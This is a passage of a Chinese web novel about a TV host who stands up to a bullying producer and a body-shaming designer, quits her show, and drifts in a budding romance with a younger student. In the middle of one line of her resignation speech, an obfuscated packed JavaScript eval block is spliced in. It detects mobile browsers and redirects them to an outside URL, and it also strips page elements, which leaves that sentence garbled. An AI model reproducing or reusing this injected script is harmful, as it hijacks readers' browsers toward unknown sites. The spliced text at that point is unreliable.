付轻屿不跟他比音高,平静地说:“挖亮点的前提是要有亮点,他拿着话筒,占着说话的角,给主持人当捧哏,有什么亮点?能挖出什么亮点?把小马换上去,大家明显玩得开心,连着抛梗接话。” “小宴和吕雨站在那就是亮点!大家都喜欢嗑他俩,他俩往那一杵就有流量!”陈声宏手指将桌子戳得砰砰响,“你把姓马的换上去,没几个粉丝的小透明,就算他说出花来,谁看?我问你谁看?!没几个人看! 你想给人发挥的机会啊,没用!我告诉你,这个行业就这样! 咱节目要的是什么?要的是收视率!要的是流量!不是来做好人好事,给人家铺桥搭路的!” “陈总,你要是这样认为,我也没什么好说的。”付轻屿看他,“趁现在人没走,说刚才机械出了故障,要补录一遍,也就五六分钟的镜头。你要真想重录,现在就能办,跟我在这喊也没用。你要是想看我的态度,我改天给你写个保证书?还是怎么样?” 陈声宏被她堵得半天说不出话来,“录什么录,为了这几分钟,重新返工?” 付轻屿笑了下,“那陈总就是想看我的态度了?我改天给你写个保证书,只要是流程表上安排好的,我绝对分毫不动。不过,要是临场反应不好,也请陈总多见谅了。” 陈声宏眯着眼看她,“付轻屿,你这是毫不遮掩地跟我叫板?” “哎?”付轻屿说,“我这是按您说的办事,哪是叫板的意思。” “好啊,我们走着瞧。”陈声宏冷笑了声,“不过,还得提醒你一句,现在我是总负责人,不听话的,留着没用,主持人也多的是。” “陈总说的是。”付轻屿一脸无所谓的表情,目送他摔门离开。 跟陈声宏翻脸是早晚的事,真走到这一步,付轻屿心里还是有些不安。 往后的日子,可要精彩了。 付轻屿坐下,任由思绪乱飞。要说走,她现在就能交辞呈,一月内离职。但是,就这么走了,心里真舍不得,她是跟着这个节目起来的,有感情。 眼下,付轻屿想着走一步看一步,只要陈声宏不做太出格的事,工作就能继续。 “咔嚓——” 付轻屿还没回过神,祁放已经开门闯进来了。 “你没事吧?”祁放说着,快速扫视完付轻屿,又左右瞧了瞧,“姓陈的王八蛋呢?” 付轻屿眼神示意他关门,“走了。” 祁放声音放软,“他又故意找茬了?” 付轻屿:“不算故意找茬,工作冲突。” “许梦姐都和我说了。姓陈那王八蛋绝对是故意的,他要是真不满意,现场喊卡,重录就好了。”祁放哼了声,“我跟你说,他就是狗眼看人低,觉得你无视他的地位了。 你最后换完人,就是比之前有趣,我们在下面看着,都能感觉出来。效果不好的话,那王八蛋早该喊着重拍,当众驳你面子了。 居然把你拉到这来撒气,脾气大心眼小,老王八蛋。” 付轻屿听他骂完,心里畅快不少,笑着说:“没看出来,你分析起来一套一套的,还挺像样。” 祁放看她笑了,“出气了吗?我还有词,能接着骂他。” “出气了,”付轻屿起身,“饿了,去吃火锅。” 祁放在前面开门,“真不气了?” 付轻屿点点头。 平心而论,有些时候,祁放还挺成熟的,可以察觉到她的情绪走向,哪怕是些负面情绪,也能及时拖住,巧妙化解。成熟里又带点孩子气。 祁放轻咳一声:“男团唱歌还行,不过,我能唱得更好听。” “你这话题转得,真快啊。”付轻屿说,“还有这脸皮,也是越来越厚了。” 祁放笑笑:“不是你说的嘛,脸皮薄就要练啊。” “行。”付轻屿点点头,给颜泠发了条消息,想着一起吃饭。 颜泠:你们吃吧,我这有点事,走不开。 颜泠向来都是有事说事,这带点含糊的话语倒是稀奇。 付轻屿看了眼时间,刚过二十点。如果是吃喝玩乐,颜泠肯定就直说了,看来有情况,这个人还不方便说。 除去李杨,付轻屿还真想不到别人了。 付轻屿开车,随机放着音乐,祁放坐在副驾驶,手里一顿忙活,回复着消息。 等红绿灯时,付轻屿看过他一眼,没说话。两人之间的关系不远不近,又都被安全带定住,好像这段感情的映射。 付轻屿回想起刚上大学的时候,忙着学分、兼职和社团活动,整天团团转,好不容易有点空闲时间,也要抱着手机回复各种通知。 忙是忙了点,但能遇到不少新鲜人、新鲜事。 在二十五六岁的年纪,作为已经踏入社会的成年人,付轻屿对爱情的斟酌远大于冲动。她不禁警醒自己,该享受就享受,但不能沉溺于这段关系,该抽身时,也要干脆利索。 祁放还年轻,有时间有精力冲动,也有更多选择。 火锅店是祁放选的,看了大众评分很高,鸳鸯锅底也是他选的,还不忘提醒付轻屿,“你不能吃辣,医生说的,别忘了。” 付轻屿:“人家医生说的是,两周内避免任何辛辣刺激的食物。这都一个多月了,没事。” “那也得控制量,不能空腹吃。”祁放说着,把锅底辣度换成微辣。 一个工作,一个上学,付轻屿以为没什么话题聊。架不住祁放思维发散,基本就没停过嘴,但很少听他提到学校的事。 有的时候,越不说的事,越让人好奇。 付轻屿问:“你们学校没什么好玩的事?” 祁放顿了下,不高兴地看她一眼,“我才不跟你说学校的事。” 付轻屿没懂他的眼神,“什么意思?” “你想听啥?”祁放眼神死死盯着她,“我一说,你一回忆,怕你想别人去。身为你的好朋友,十分不愿意看你想别人去。” 付轻屿一愣,立即反应过来,他嘴里的这个别人指的冯适。 “你怕的挺多。”付轻屿说,“你怎么知道他是清影的?我没和你提过。” “我自己看到的,学校优秀毕业生的墙上,有他照片。”祁放哼了声,“再等几年,我也要贴上去!” 付轻屿笑笑,“你加油。” “你还笑。”祁放想出个主意,轻咳一声,“你想听我说学校的事,也不是不行?” 付轻屿眉毛轻挑,“看来有条件。” 祁放毫不矜持地说:“你陪我逛逛学校,我就给你讲,怎么样?” 付轻屿听他小算盘打的啪啪响,摇头说:“不用了,我也不是很想知道。” 祁放更急了,“你真不想知道?” 付轻屿喝两口饮料,没压住笑,“祁放,逗你可好玩了。” 祁放一愣,也不炸毛了,羞得驳她句,“不跟你说了,什么都不跟你说了。” 他这铿锵有力的反驳,没矜持住两分钟,付轻屿一递话头,又什么都忘了,完美展示了什么叫‘记吃不记打’。 吃完饭,付轻屿看时间不早,“回学校?还是回颜泠那?” “当然是去我姐家。”祁放说,“周天没课,还有,明天就放十一假期了。” 付轻屿的工作,没有法定节假日,过着过着也就把自己过糊涂了,祁放一说,她才想起来。 “假期好好玩。”付轻屿说。 祁放跟她并排走出火锅店,“这个假期没法找你玩了,我接了个画稿,要赶工,还得回家过中秋。” 付轻屿问:“画稿?兼职吗?” 祁放嗯了声。 “缺钱了?”付轻屿想了想,祁放这个兼职频率有点高,“几万都花完了?” 祁放摇头:“不缺。有人找到我画图,我也挺感兴趣的,就接下了, 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中秋当天正好赶在周一,没工作安排,付轻屿也没回去,给付医生和刘老师发了红包,客气了两句。 颜泠进组了,付轻屿自己去听了场演唱会,就近逛了逛。 祁放自从接了画稿后,付轻屿感觉他消停不少,每次快到周六周天,才能想起她这个好朋友来。 颜泠可没感觉到祁放消停。 颜泠家门口装了个小摄像头,每到周六晚上,准时给她提醒有人回家。 差不多提醒了一个月,颜泠终于忍不住发消息问祁放:你每周都往回跑啥? 祁放:常回家看看。 颜泠:滚蛋,你是不是没跟舍友处好关系?他们挤兑你了? 这怀疑的种子,从他军训那阵种下,一直没消。再加上祁放总往家跑,颜泠很难不多想。 祁放:真没有,舍友人挺好的,我就是回来看看,给你收拾收拾客厅。 颜泠:你回来找付轻屿。 祁放正跟付轻屿吃饭,吓地一筷子没夹住,菜从嘴边掉到了盘子里。 他抬头看看付轻屿,低头回消息:没有!我就是回来看看! 发完之后,祁放觉得自己说得太死,又加了句:忘了哪天见到过轻屿姐,一起吃了饭。我就是放假了,给自己换个地方呆,你别太多戏。 颜泠半信半疑:是吗?反正,你别总去烦她。 颜泠想跟他直说,你们不是一个圈子,付轻屿对掰男人有阴影了,不可能跟你在一起。 她打出几个字又删了,付轻屿不想跟祁放说这事,还是先这样吧。 祁放脸不红心不跳地回了句:我没有。 颜泠就是觉得哪里不对劲,她想问付轻屿,没来及发消息,就被叫回去拍戏了。 晚上收工,颜泠拿到手机,又想起这事,果断给付轻屿发消息:祁放是不是每到周六就回来烦你? 付轻屿看到消息,脑子一懵,颜泠怎么知道的? 没等她想明白,颜泠又发来一条:你别不好意思说他,该骂就骂。实在不行,直接跟他说你是4i,省的他一天天的不安分。 付轻屿看着消息,一时不知道怎么回复。她跟祁放发展成现在这样,问题不只出在一个人身上,她也挺喜欢‘好朋友’这个身份。 颜泠:不对啊,你周六录节目,也没空搭理他。这么说,他也不是回来找你的。这小子每周往回跑,到底犯什么病了? 也没犯什么病,单纯是跑到节目组做观众去了。 付轻屿揉着太阳穴,给颜泠回消息:祁放上学后,我俩没见过几次。可能是回来找他朋友玩,陈昊飞不也在江城,应该是回来找他吧。 短时间内,付轻屿不打算跟颜泠说实话,省的颜泠夹在中间难做。 万一颜泠没忍住给祁放说一顿,他再突然跑回来蹲家门口,不知道又要闹成什么样。 付轻屿叹气,现在挺好的,先这样吧。她摸了摸心口,就是莫名有种背着颜泠偷偷摸摸的感觉,良心不安啊。 颜泠:也对,陈昊飞也在,杨灿还跟他一个学校,不能有什么事。 付轻屿问:你怎么知道他每周六回家? 颜泠:监控每周六晚给我提醒,很准时,很有规律。 说到很准时,很有规律,付轻屿突然意识到了另一个问题。 她换了个聊天界面,给祁放发消息:周一到周三休息,周四周五线上聊,周六周天线下见面。你在我这工作打卡呢,还上四休三。 祁放刚洗完澡,看见消息,激出一身冷汗。 哈?怎么被发现了? 27. 27 祁放死不承认,厚着脸皮回消息:是吗?你不说,我都没发现。 祁放打了个哈哈的表情,继续回:好朋友嘛,也需要有点私人空间。当然,如果你不想要这点空间,我也可以全年无休。 付轻屿看着手机消息,感慨祁放的脸皮厚如城墙,简单回了一个字:别。 回完消息,付轻屿就把这件事抛到脑后,没再管。 工作群里,下期节目邀请嘉宾和流程安排已经发出来,付轻屿仔细过了遍。 陈声宏心眼小,不管出了大事小事,必须先发泄一顿,才能拿出领导者的样子,去想解决办法,还不一定能想出来。总之,他不痛快,就得想办法找别人的不痛快。 从两人私下叫板到现在,一个多月的时间,付轻屿成了他找不痛快的人选之一。 何雨萌在前面做了榜样,突然换到陈声宏这个情绪不稳定的巨婴,团队里表现出不满的,不只是付轻屿一人。 跟陈声宏叫板的,也不只付轻屿一人。 在陈声宏的摧残下,这档节目已经改得满目全非。 付轻屿对节目的不舍,也随着何雨萌一起走远。 下期节目的邀请嘉宾中有一位服装设计师,Liam,安排了二十分钟左右的镜头。 付轻屿对他有点印象,做准备资料时查了下,没记错。前段时间,有个小众品牌的秋季秀场火了把,网上有讨论度,设计师就是这个Liam。 八成是陈声宏安排的。 付轻屿翻出几个Liam采访视频,他整个人很瘦,瘦得有些病态。从采访中能看出来,他对自己这种身材颇为满意,对自己的作品大吹特吹,稍带贬低同行,说话态度和用词偏为自负。 给人的观感不是很好。 付轻屿记下些关键性的东西,已经能想到跟他说话的场景。 “大家好,我是Liam,相信大家都看过前段时间很火的‘幻空’秀场。没错,我就是秀场设计师,过段时间还要飞Paris,采访秀展邀请太多了,百忙之中抽空来我们节目。当然,也十分荣幸。” Liam上身裸色长袖,肩膀做了半镂空设计,腰部以下是流速裁剪,下半身是条微喇破洞的皮裤,再搭配上他那犀牛角一样的鞋子。浓浓的‘艺术’味道,看得付轻屿心里直喊救命。 他这一段播出去,够颜泠笑半个小时,笑完还得变着花样、不带重复地吐槽半个小时。 付轻屿面上极其专业,外加三两句话,将他自我介绍里令人不适感觉压下去。 Liam不喜欢别人喊他中文名,上台前就给各个主持人打过招呼,还说了一堆注意事项。 付轻屿当时听完,突然感觉陈声宏跟他一比,都有点小巫见大巫了。总共二十分钟左右的镜头,还不知道后期会给卡掉多少,光听他讲注意事项,就讲了二十多分钟。 Liam声线偏细,付轻屿被他念的耳朵疼,感觉像针扎一样。直到正式录制节目,一听见他的声音,耳朵就开始条件反射。 Liam智商不详,情商堪忧,不知道从哪带出来的优越感,话语间充斥着不尊重人的意味,势必要在台上平等地碾压所有人。 考虑到Liam是服装设计师,节目组设计一些小环节凸显他。例如给大家些穿衣建议和搭配小技巧等等。他更是毫不客气,将台上的主持人和其他嘉宾从头到脚评了个遍。 要不是有主持人压台,他能飘到银河系去。 付轻屿不想包装Liam没脑子又自负的行为,奈何要照顾到场上其他人的感受,也得对观众的眼睛耳朵负责,就换了两个词放他身上,嘴毒又直率。 包装完,给人的感觉好多了。付轻屿安抚自己的良心,要是这个吹洋屁的狗东西再敢胡乱叫唤,她就不客气了。 节目流程进行到收尾阶段,正当付轻屿以为能顺利送走这位洋屁设计师,没想到多出个环节。 男主持人说:“Liam老师,要不然这样,您当场选人改一版衣服,让我们感受一下,设计不同带来的变化。” 此话一出,包括付轻屿在内的三个主持人都愣住了,她们的流程表上可没有的这一段。 “当然没有问题。”Liam轻松一笑,显然是早有准备,朝付轻屿做了个请的手势,“我们这位主持人,方便配合一下吗?” 付轻屿立即反应过来,朝台下的陈声宏看去,眼神给了他两刀。 陈声宏跟她直视,轻抬眉头,颇有挑衅意味。随后,他拍了拍身边人,不知道说了什么,起身朝外走。 安排这一段,肯定花了陈声宏不少心思。不看,可惜了。不让他下不来台,就更可惜了。 付轻屿收回视线,看向Liam,笑着说:“可以。” 衣服是节目组提供的,毁了也不心疼。付轻屿倒要看看,这两人给她准备了什么节目。 Liam围着付轻屿上下打量一遍,眉头微微皱起,“啧”了声,“身高还可以,有些偏胖了。还有,你不适合这个蓝色。”Liam伸手掐住她腰间的衣服收了下,“亲爱的,你腰挺细,胸再小点就好了。” 单凭这几句话,付轻屿心里已经赏了他几个白眼。陈声宏是不是专门找了个人来恶心她? 付轻屿做模特的时候,也遇到过设计师修整款式,都是为了适配身形。他这种当众点评女生身材,没情商没教养,一辈子也长不出脑子来,路走不长。 祁放坐在观众席最后一排,眼神都给Liam削成菊花鱼了,要不是在录制现场,怕影响到付轻屿工作,他能站起来给这人从头到脚点评一遍,让他也感受感受。 付轻屿一脸平静,看Liam还能作出什么妖来。她身上是条米色连衣裙,版型较为宽松,有点竖条纹的小设计,正好拖到地面,腰间系条编绳腰带,整体松弛但不松散。 Liam接过助理递的剪子,大刀阔斧地将两条袖子卸了,又弯下腰,从裙底开剪裁上去,又滑剪朝下去。 付轻屿垂着眸子俯视他,视线从捏着裙角的兰花指转移到裙子上。 一剪刀在裙子上画了个抛物线,叉开得和旗袍一样高。付轻屿扬了下嘴角,猜到了Liam的审美,等会儿,估计要把剪裁下来的布料勒在她腰上,展示个完美的曲线出来。 付轻屿低头将人打量一遍,等着跟他‘友好’交流。 Liam没有辜负付轻屿的猜测,用布条在腰间缠绕两圈,勒紧。 经他改造,衣服显得清凉许多。 这也是陈声宏想要的视觉效果,用美、色作为噱头。 付轻屿不喜欢太紧身的衣服,此时被束缚得更加烦躁。审美不同,她不对改造前后的衣服做过多评价。 Liam却开始吹嘘自己的改造,连带点评衣服下的人。 付轻屿瞧台下看去,陈声宏还没回来,她实在等不了了,伸手拆下腰上的布条。 Liam还没吹嘘完,见她的动作,嘴巴打了个抖,一时呆愣住。 付轻屿给他一个微笑,“Liam啊,系得实在太紧了,这衣服是给活人穿的吧。” 付轻屿手中拿着布条,又低头瞧了眼裙子,“Liam老师啊,我们女生也需要走路的,你看着这,叉开得太高了,我一动,打底裤都漏出来了。总不能只考虑裙子好看呀。” Liam完全没料到她会当众拆台,嘴里磕磕巴巴吐出几个‘你’字,半天没说出别的。 付轻屿撇了下嘴,“刚才,Liam老师讲我们几个身材线条不够优美。其实,我有注意到了Liam老师虽然偏瘦,但是屁股很翘,线条不错哎。你们都看一下,他的屁股很翘啊。” 众人视线都看向Liam的翘臀,让他大脑空白,汗毛直立。 付轻屿看他吃瘪的模样,故意做了个无辜的表情,“刚才Liam老师也讲到前凸后翘,对胸型颇有研究。我也有些问题想要请教,看Liam老师今天穿得皮裤,很紧哎,就是感觉前面不够凸,这个屌的形状不够优美哎,还是说我审美不太好啊。” 付轻屿学着他刚才的样子“啧”了声,“想要请教一下,你这个屌,穿着裤子,怎么看线条优不优美?” 场上台下,沉默得骇人。 Liam气愤中夹杂着一丝羞愧,声音发狠,“你怎么说话呢?!” 付轻屿故作蒙圈,“我这不是正常说话吗?这些话和你刚才说的,大同小异啊。” 陈声宏刚回到演播厅,就听见Liam喊得那一嗓子,再看现场一片寂静,顿感情况不妙。“怎么了?付轻屿,这是干什么呢?” 付轻屿转头看他,赏了个笑,“陈总来得正好,听说你平常健身,快过来跟Liam比一比,看看谁的屁股翘,屌的线条优美。” 她这一句话说下去,陈声宏的表情比吃了屎都难看。 付轻屿没给他还口的机会,笑着说:“不好意思,耽搁大家时间了,我去换身能行动的衣服,一会请大家喝饮料。” 话音刚落,祁放两手放在嘴边,夹着嗓子,变调喊了句,“姐姐,好爽。” 喊完,祁放立即放下手,隔着一片人群与付轻屿相视一笑,静默的演播厅笑着恢复了声响。 陈声宏看完回放,气得眼冒金星。他知道付轻屿最烦什么样的人,这次找Liam过来,一是看中他的流量和讨论度,二是能借他让付轻屿吃点哑巴亏,挫挫她的锐气。 没想到付轻屿给他整了这么一出。 陈声宏两手掐腰,气得五脏六腑发颤,环视一圈,闭眼平静。 付轻屿回到演播厅,陈声宏带着火气上前,半路被女演员燕羽拦下。 燕羽说:“陈总,我晚上还要赶飞机,刚才已经耽误一会了,咱快点拍摄吧。你也知道,我这两边跑,确实赶。” 燕羽是近几年数一数二的青年演员,戏路广,演技扎实。陈声宏想结交这个人脉,眼下只能咬碎后槽牙,把火往肚子咽,笑着应下。 Liam急赤白脸地录完,和陈声宏打了个招呼,灰溜溜走了。 陈声宏一肚子火,憋了三个多小时,忍到录制完,“付轻屿,说说刚才怎么回事吧。” 付轻屿漫不经心地说:“你确定要在这吗?” 话音落下,演播厅内瞬间安静了不少,无数双耳朵等着听戏。 陈声宏大体扫了眼,太阳穴直跳,招了招手,“去一旁说。” 两人一前一后,走到公共休息区的长廊,没等陈声宏开口,付轻屿说:“改衣服的环节,流程表上没有啊。陈总,不说说怎么回事?” 陈声宏的脑仁一涨一涨,声调拉高,“临时加了一段,我是总负责人,怎么?加段节目还得给你汇报了?” 付轻屿:“那倒不用。不过,毕竟需要我配合,不提前沟通一下?” 陈声宏冷笑:“主持人该有的临场反应,这点小事,处理不了?” 付轻屿也笑了下,“这不是处理好了吗?陈总还有什么问题?” “好好好。”陈声宏拍拍手,怒目圆睁,“Liam是我请来的嘉宾,你怎么跟人家说话?啊!你自己去看回放,自己去听听你说的那些话,能播出去吗?” 付轻屿平淡道:“我说的,可比Liam说的含蓄多了。既然他说的都能播出去,那我说的有什么问题?陈总,别只看片段嘛,你从头看一遍,就知道没多大事了。” 陈声宏指着她,手指抖了抖,“故意跟我作对是不是?付轻屿,你真当我不敢开了你?” 付轻屿蹙了下眉头,笑着说:“您是总负责人,当然想开谁就开谁。” 话音刚落,祁放从旁边侧门闯进长廊。 陈声宏听到声音,顺着付轻屿视线看过去,见祁放身上没挂工牌,“你是谁?不是工作人员,谁叫你跑这来的?” 祁放一耸肩,“我是观众啊,你不是总负责人吗?观众想提点意见,不可以过来找你吗?” 陈声宏看着眼前的毛头小子,敷衍道:“去线上找官方反馈,我现在有事,没时间处理。” “我看你挺闲的啊,”祁放叹气,“你这么大个节目组,怎么只能线上点单,我站着跟你说不行吗?” 陈声宏瞪他一眼,转身朝走廊另一头招手,“小赵,这有个观众迷路了,过来带出去。” 祁放刚想开口,许梦从他身旁走过,将人往后推了把。 “陈总,台上改衣服这事,你怎么没跟我说?这条裙子是品牌赞助,大几千,用完了还要换的,你现在要我怎么交差?”许梦皱眉看他,“咱们这么大个节目组,也不能太随意了吧。没商量,也该有通知啊。现在怎么跟赞助商交接?只能全款买。” 没有一件顺心事,陈声宏急火攻心,差点喷出一口血,黑着脸说:“去找财务,找财务拨钱,买了!” 许梦故意叹了口气,“行吧,这一天天的,竟麻烦事。” 付轻屿也叹气,“陈总,这下赔了。” 陈声宏偷鸡不成蚀把米,狠声道:“没事,咱们日子还长。” 付轻屿笑了下,“恐怕没几天时间了,陈总,我今天晚上就把辞呈发您,一个月后准时离职。” 陈声宏就是要她承受不了,主动提离职,赔违约金。听到这话,他没忍住笑了下,“离职?” 付轻屿指了指脑袋,“陈总,学无止境,这里空着不太好。 节目一共四个主持人,两男两女,萌姐在的时候,我们配合得很好。你来了之后,重任都落到了两人男主持人身上。我有些好奇,在你眼里女人是不是就分为两种,一种是可供观看的花瓶,另一种是可供打压的笨蛋,所以要极力把两个女主持人打造成这样? 真得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966558|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很无聊,做的节目更是无聊。” 陈声宏冷笑一声,“那怎么了?有的是人看。你不愿做,可以滚蛋。哎吆,差点忘了,咱得好好探讨一下违约金的事。” “差点忘了,合同是萌姐给我签的,没有违约金这一项,就不劳陈总费心了。”付轻屿眉头轻挑,笑着说,“陈总还是快点找个主持人接班吧。一个月,时间不长,要完全掌握节奏,灵活控场,不是个容易事。别影响你的收视率啊。” 陈声宏整个人呆愣原地。 付轻屿出了口气,不再跟他纠缠,带着祁放离开。 许梦见证完全过程,看热闹不嫌事大地“啧”了声,也跟着离开了。 付轻屿回休息室,简单收拾些东西。痛快出了口气,她心里舒坦,冷静下来,又感到一丝空虚。跟了快两年的节目,酸甜苦辣走了遭,真要离开,比分手还难受。 祁放跟在付轻屿身边,一边帮忙收拾,一边观察着她的表情。付轻屿没开口,他也出声打扰,两人默契地整理东西。 “轻屿姐真不怕得罪人啊,我真是太服气了。” 休息室外传来说话声,祁放和付轻屿手里动作没停,耳朵都支起来。 “萌姐在的时候,她就那样,人家有人罩着。谁知道她身后是不是有更大的靠山,听说她还做模特,没人谁敢那么拽,说不定……” 付轻屿耳边的声音消失了。 祁放两手捂着她的耳朵,将所有声音都隔绝开。 付轻屿这才发现自己呼吸发颤,极不平稳,心跳声越来越响,震的全身苏麻。她甚至没力气抬头看一眼祁放。 祁放听得更不是滋味,快速将她两手按在耳朵上,转身开门,忍住想打人的冲动,“说得挺真啊,有什么证据吗,不会是造谣吧?”他晃了晃手机,吓唬他们,“我可都录下来了。” 几人看祁放不是工作人员,刚想还口,门受惯性转开些,露出付轻屿半侧身影。 几人脸色一变,“对不起,对不起,我们也是听别人说的,无心讨论,无心的。”说完,他们生怕付轻屿看见自己,夹着尾巴跑得飞快。 付轻屿两手早就垂下去了,至于他们说话的声音,却没听清,只感觉耳朵周围嗡嗡响。 人各不同嘛,付轻屿早就料到会有各种各样的声音,只不过,亲耳听到,心里还是蛮不好受的。 她微微皱着眉头,深呼一口气,继续收拾。 只是有些恶心,喘不上气,手脚发麻…… 付轻屿眼前突然一黑,不知道什么东西贴了上来。 祁放扯了张纸巾,学着付轻屿之前的样子,轻轻按在她眼上,小声说:“没事了,想哭就哭吧,我给你挡着,谁都看不见,我也看不见。” 付轻屿没应声,泪水夺眶而出,躲在一张纸巾后,发泄一场。 哭完,确实好受多了。 付轻屿没看祁放,也没跟他说话,自顾自扯出两张卸妆巾,把哭花的妆都卸了,又压了顶棒球帽在头上,快速恢复了往常的样子。 “把这些收拾好,就去吃饭吧。”付轻屿压着嗓子哭完,声音有点沙哑。 祁放胳膊怼怼她的肩膀,“付轻屿,你可厉害了,超级厉害,超级无敌棒。” 祁放夸人,就跟幼儿园老师夸孩子一样,惹得付轻屿笑了下。她顶着公鸭嗓,“少吹彩虹屁。想想吃啥。” “吃烤肉吧,好久没吃了。” “嗯。”付轻屿说,“你以后别来节目组了,陈声宏心眼小,再见到你,还不知道要怎么样呢。可能,想来也来不了了。” “好。”祁放问,“他不会再为难你吧?” 付轻屿笑了下,“要筛选新主持人,他应该没时间为难我。也就一个月了,他能不能为难到我,还得另说呢。” 付轻屿都想好了,祁放也就乖乖应下,顺着她想地做。 付轻屿和祁放离开后,陈声宏一肚子火没处发,正巧,许梦跟财务申请拨款没通过,又来找他。 许梦和付轻屿关系不错,是整个节目组都知道的事。陈声宏在付轻屿身上吃了哑巴亏,就想给许梦找点不痛快,撒撒火。 可惜,许梦不是好说话的人,更不好惹,给陈声宏从头骂到脚。两人大吵一架,险些大打出手。 付轻屿知道后,去安慰许梦,才知道她被开除了。 许梦秉承‘此处不留爷,自有留爷处’的人生信条,反过来安慰了付轻屿一顿。 付轻屿知道陈声宏是个什么德行,许梦被开,多少受她牵连,一想到这,心里总有些过意不去。 许梦一走,节目组的人情味就更淡了。 不过,少了名得力干将,陈声宏给自己忙得焦头烂额,也没空找付轻屿麻烦。 最后一个月,付轻屿过得还算不错。 祁放坚持‘上四休三’的规则,每周六回来跟付轻屿吃个饭,随便聊会天,偶尔对视一眼,就是两人间最亲密的事。周日上午他再赶回学校,忙着赚课外学分,画稿,还有些必须要参加的活动。 付轻屿离职当天,去车站接了颜泠,把这段时间的鸡飞狗跳编成故事讲给她听。编故事,主要是把祁放剔出去,剩下的,实话实说。 颜泠这才知道她离职的消息,有惊有怒,也有些失落。付轻屿喜欢自己解决问题,不管大事小事,只要从她嘴里说出来,都已经尘埃落定。颜泠希望她在遇到问题的时候,多少说一说,哪怕抱怨一下,也有个商量。 要不然,颜泠总觉得自己这个朋友当得挺没用的。同时,她也知道逼付轻屿没用,不如顺其自然。 两人有钱有闲,当即决定出去散心,玩一个月。祁放‘上四休三’的规划也就此被打乱了。 周六的见面被迫取消,祁放发消息也更加随性,不再管星期几,遇见有趣的东西就分享给付轻屿。 付轻屿不善于分享生活,大多数情况下,都只能作为回复者。 两人间的联系慢慢就淡了,但是没断过。 关系正在迈入正轨,付轻屿应该高兴或感到轻松才对,心里却时常空落落的,让人烦闷。 付轻屿总有一套理论能说服自己,维持生活。她反思后,认为这是暧昧后的荷尔蒙在作祟,就像经期的情绪波动一样,没什么大不了,过段时间就好了。 原本一个月的游玩计划,付轻屿延续到了两个月,空落落的感觉还是会出现,并且伴随着关于祁放的回忆,症状有些恶化。 付轻屿还就此得出一个结论,暧昧到平淡带来的情绪波动,可比大姨妈厉害多了。 临近过年,付轻屿才回到江城。 颜泠因工作原因,只玩了二十多天,早早便结束旅行,扎进剧组,知道付轻屿回来的消息,也没能抽出身去接。 付轻屿刚进家门,屁股还没坐热,祁放的消息就来了。 28. 28 “吆,放哥,大忙人啊。以后跟你吃顿饭,是不是得提前一年预约?”杨灿打完球,冲了个澡,一路赶到饭店,露在帽子外的头发结了冰碴。 祁放甩他两字,“墨迹。” “确实墨迹,我都到了。”陈昊飞拿了几瓶汽水放桌上,“我说,你俩一个学校的,怎么不一起来,还省趟车费。” 祁放欣赏着杨灿的傻屌发型,“我没在学校,出去买了点东西。” 杨灿外套一脱,坐在陈昊飞对面,可算找到人诉苦了,“我跟你说,祁放这狗东西魔障了。半年,这才半年,他把课外学分修够了,你敢想?除了上课就是画画,就是出去拍照片兼职,别说找他打球,我找他去食堂吃顿饭都费劲,他都没空。变了,感情淡了,我懂。哎,我懂。” 祁放笑着怼他,“你懂个屁了。” 杨灿刚想回嘴,桌上的计时器响了,服务员过来撤走锅盖,铁锅炖的香气冒出来。 “先吃饭,先吃饭,”杨灿也不诉苦了,抄起筷子,两眼放光,用牙撬开瓶汽水,“饿死我了。” 陈昊飞问祁放,“你给自己转成个陀螺,是有什么打算了?” 祁放说:“称不上什么打算,忙起来得劲,省得胡思乱想。课外学分修完,少个事情,也能腾出更多时间来。” 以后能有更多时间找付轻屿。 陈昊飞点点头,听出点不对劲,“你追的那个女生呢?好久没听你说了。” 杨灿嗦了口排骨,软烂鲜香,就是有点烫,烫的他练了段rap,“吆吆吆,我也想起来了,你追的姑娘呢?” 祁放戳了戳肉,“跑了。” 杨灿灌了口饮料,拿出他标准的大嗓门,“你把人追跑了?你真是有两下子啊。” 祁放无奈地看他一眼,“闭嘴,吃你的。” 陈昊飞问:“跑了?躲着你呢?” 祁放摇头,“不知道,应该是吧,也可能不是。她出去旅游散心,六十二天了,没主动找过我,一次都没有。” 杨灿一听,立即领悟到,“害!我知道,你这是被吊了。这个我熟啊,我经常被吊。没事,她无聊的时候,就搭理你了。” 陈昊飞:“……” 祁放:“……” 杨灿架着块鸭脖,来回看着两人,“你们这是什么眼神?不信啊,这是我自己问出来的,费老大劲了。” 陈昊飞无奈摇头,给他捞了个鸡心,“灿儿啊,多吃点,长点心吧。” 祁放看向陈昊飞这个死闷骚,求助道:“你会主动给人发消息吗?” 陈昊飞平淡地说,“看情况。” 祁放:“具体怎么个情况法?” 陈昊飞:“有事就发消息,没事发什么?” 祁放无奈收回视线,“这句话,留着给你女朋友解释吧。” “女朋友啊,”陈昊飞漫不经心地说,“那我想她,是件大事。” 祁放和杨灿激起一层鸡皮疙瘩,汗毛直立,同时起身抖了抖。 杨灿龇牙咧嘴地说,“陈昊飞!吃着饭呢,你、你怎么能说出这么肉麻的话,不行不行,我耳朵脏了。” 祁放坐好,心里更闷了。付轻屿居然一次都没想他? 难道在外面遇到更成熟的人了? 之前对他的那点喜欢,不会都玩没了吧? 越想越难受,祁放拿出炫酒的气势,炫了瓶饮料。 杨灿直愣愣地看着他,半开玩笑地说,“渴了啊?” 陈昊飞:“快吃饭吧。” 祁放“嗯”了声,没说别的,心想:“已经考完试了,直接去找她算了。” 可是,准备了一个多月,还是想让付轻屿看看他更成熟的样子。 祁放食不知味,想问付轻屿什么时候能回来,想邀请付轻屿一起去插画艺术节。 饭吃到一半,祁放接了个电话,是颜泠打的。 “我之前带回来的特产,就客厅那些,你这两天找时间给轻屿送去。”颜泠说,“之前出去玩,我没带钥匙,把付轻屿那把带来了。她现在没钥匙,过不去,你记得再给她把钥匙。” 祁放一愣,“付轻屿回来了?!” 